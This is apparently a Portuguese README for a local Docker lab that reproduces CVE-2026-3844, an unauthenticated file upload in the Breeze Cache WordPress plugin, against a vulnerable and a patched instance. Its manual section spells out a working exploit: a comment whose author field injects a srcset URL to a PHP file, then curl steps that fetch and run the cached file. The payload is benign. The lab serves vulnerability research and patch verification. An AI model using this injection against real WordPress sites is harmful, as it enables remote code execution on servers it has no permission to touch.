
Laboratório Docker exclusivamente local para reproduzir e comparar o comportamento da CVE-2026-3844 no plugin Breeze Cache do WordPress.
Este repositório demonstra o comportamento vulnerável no Breeze Cache 2.4.4 e o compara com o comportamento corrigido no Breeze Cache 2.4.5. O laboratório usa dois serviços WordPress isolados, um vulnerável e um corrigido, além de um servidor de payload local dentro da rede Docker.
A prova de conceito é intencionalmente de dano mínimo: não usa webshell, não expõe parâmetro de comando, não inicia reverse shell e não exige leitura de arquivos de dentro do contêiner. A prova baseia-se no comportamento HTTP observável a partir do host.
A CVE-2026-3844 afeta o plugin Breeze Cache para WordPress até a versão 2.4.4, inclusive. O caminho de código vulnerável está relacionado ao recurso de cache local de Gravatars do plugin, especificamente ao fluxo fetch_gravatar_from_remote().
Quando a opção Host Files Locally - Gravatars do Breeze está habilitada, versões vulneráveis podem buscar um arquivo remoto controlado pelo atacante e armazená-lo em um diretório de cache publicamente acessível via web. Se o arquivo buscado for PHP, ele pode ser executado pelo servidor web quando solicitado via HTTP.
Este laboratório reproduz esse comportamento localmente:
vuln: WordPress + Breeze Cache 2.4.4patched: WordPress + Breeze Cache 2.4.5payload: servidor de payload local exclusivo do Dockersrcset controladaO resultado esperado é:
http://127.0.0.1:8081 / Breeze 2.4.4 → o PHP de prova é armazenado em cache e executadohttp://127.0.0.1:8082 / Breeze 2.4.5 → o PHP de prova não é armazenado em cache/não é legível/não é executado.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
Os contêineres WordPress buscam o payload por meio da URL da rede Docker:
http://payload:9100/<payload-file>.php
O host verifica o resultado por meio de requisições HTTP normais aos serviços WordPress.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally deve estar habilitadoO comportamento vulnerável só é alcançável quando o cache local de Gravatars está habilitado. Essa opção vem desabilitada por padrão em instalações típicas, mas este laboratório a habilita intencionalmente para reproduzir o caminho de código vulnerável.
No Breeze Cache 2.4.4, o fluxo de localização de Gravatars pode extrair uma URL remota do HTML relacionado a avatares e passar essa URL para fetch_gravatar_from_remote().
A versão vulnerável não possui validação suficiente em relação ao arquivo remoto:
.phpO arquivo resultante é armazenado em:
/wp-content/cache/breeze-extra/gravatars/
Quando um arquivo PHP é salvo nesse diretório e depois solicitado por meio do Apache/PHP, o servidor o executa.
No Breeze Cache 2.4.5, o fluxo corrigido adiciona validação que impede que este payload do laboratório seja armazenado em cache como PHP executável. Na reprodução local, o mesmo gatilho funciona contra o 2.4.4, mas não expõe o marcador de prova contra o 2.4.5.
Este laboratório mantém intencionalmente o servidor de payload local em vez de usar um host de payload público.
O download_url() do WordPress e a API HTTP do WordPress rejeitam por padrão alguns hostnames Docker privados e portas não padronizadas. Scripts de exploit públicos costumam usar URLs de payload HTTPS públicas, que evitam essa restrição. Este laboratório não faz isso.
Para manter a reprodução totalmente local, o script de seed instala um pequeno helper de MU plugin local-only que:
payload e payload.local80 e 9100Este helper não modifica o código-fonte do Breeze. Tanto o serviço vulnerável quanto o corrigido usam versões reais do plugin Breeze instaladas via WP-CLI.
O helper existe apenas para tornar o laboratório Docker determinístico e exclusivamente local.
Este repositório destina-se apenas a pesquisa de segurança local e demonstração de portfólio.
Salvaguardas:
localhost e em serviços da rede Dockercmd=O payload da PoC imprime informações benignas do runtime do PHP:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
Isso comprova o contexto de execução de código sem disparar comandos de shell.
requestsInstale a dependência Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
O requirements.txt deve conter:
requests
Compile e inicie o laboratório:
docker compose down -v --remove-orphans
docker compose up -d --build
Verifique o status dos serviços:
docker compose ps
Serviços esperados:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Verifique os logs do seed:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Linhas de log esperadas:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Verifique a instalação do WordPress:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Verifique as versões do Breeze:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Esperado:
2.4.4
2.4.5
Verifique a pré-condição vulnerável:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Esperado:
1
1
Verifique se o WordPress consegue buscar o serviço de payload local:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Se o proof-cve3844.php ainda não existir, crie um arquivo temporário qualquer em payload/ ou execute a PoC uma vez.
Execute contra o serviço vulnerável:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Resultado vulnerável esperado:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Exemplo de saída da prova:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Execute contra o serviço corrigido:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Resultado corrigido esperado:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Um redirecionamento como 301 Moved Permanently não é considerado prova. A PoC exige que o marcador exclusivo apareça no corpo da resposta HTTP.
A PoC executa o seguinte fluxo exclusivamente local:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload seja usado.A PoC não lê arquivos de dentro do contêiner alvo. As evidências são coletadas via HTTP a partir do host.
Crie um payload manual:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Confirme que o servidor de payload serve o código-fonte PHP como texto estático:
curl -i http://127.0.0.1:9100/manual-proof.php
Publique um comentário no serviço WordPress vulnerável:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Acione o processamento do Breeze renderizando o post por meio do host de URL do site WordPress configurado:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Evidência HTML esperada:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Solicite o arquivo PHP armazenado em cache:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Prova vulnerável esperada:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Verifique os logs do payload:
docker compose logs --tail=50 payload
Esperado:
GET /manual-proof.php HTTP/1.1" 200
| Target | Versão do Breeze | Resultado Esperado |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | A prova PHP é buscada, armazenada em cache e executável |
http://127.0.0.1:8082 | 2.4.5 | O marcador de prova PHP não é exposto |
Pare e remova contêineres, redes e volumes:
docker compose down -v --remove-orphans
Remova os arquivos de payload gerados, se necessário:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Banco de dados Patchstack — Plugin WordPress Breeze Cache <= 2.4.4 Upload Arbitrário de Arquivo Não Autenticado via fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Upload Arbitrário de Arquivo Não Autenticado:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Blog Wordfence — Cobertura da exploração ativa da vulnerabilidade no Breeze Cache:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Página do plugin Breeze Cache:
https://wordpress.org/plugins/breeze/
Downloads dos plugins WordPress usados neste laboratório:
WordPress Plugin Trac — Referência do código-fonte do Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
Este projeto destina-se apenas a pesquisa de segurança local autorizada. Não execute a PoC contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
WordPress Plugin Trac — Referência do código-fonte corrigido do Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php